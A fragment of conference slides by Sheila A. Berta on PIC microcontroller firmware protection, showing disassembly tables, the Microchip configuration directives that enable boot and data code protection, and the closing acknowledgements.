<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0001</td>
<td>38D8</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0002</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0003</td>
<td>BA9E</td>
<td>BTFSN FRL 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
<td></td>
</tr>
<tr>
<td>0012</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0014</td>
<td>B6F2</td>
<td>BTFSN INTCON, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>EC27</td>
<td>CALL 0x4E, 0</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A</td>
<td>BA9E</td>
<td>BTFSN FRL 6, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>

Program memory dump still works
BOOT AND DATA PROTECTION

Microchip Config Directives

; CONFIG5H
CONFIG CPB = ON
CONFIG CPD = ON

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>0008</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>6</td>
<td>000A</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>7</td>
<td>000C</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>8</td>
<td>000E</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>9</td>
<td>0010</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>10</td>
<td>0012</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>11</td>
<td>0014</td>
<td>0000</td>
<td>NOP</td>
</tr>
</tbody>
</table>

Program memory dump doesn’t work
CONCLUSIONS_
SPECIAL THANKS_

Sol (@encodedwitch)
Nico Waisman (@nicowaisman)
Dreamlab Technologies
THANK YOU _

SHEILA A. BERTA [@UNAPIBAGEEK]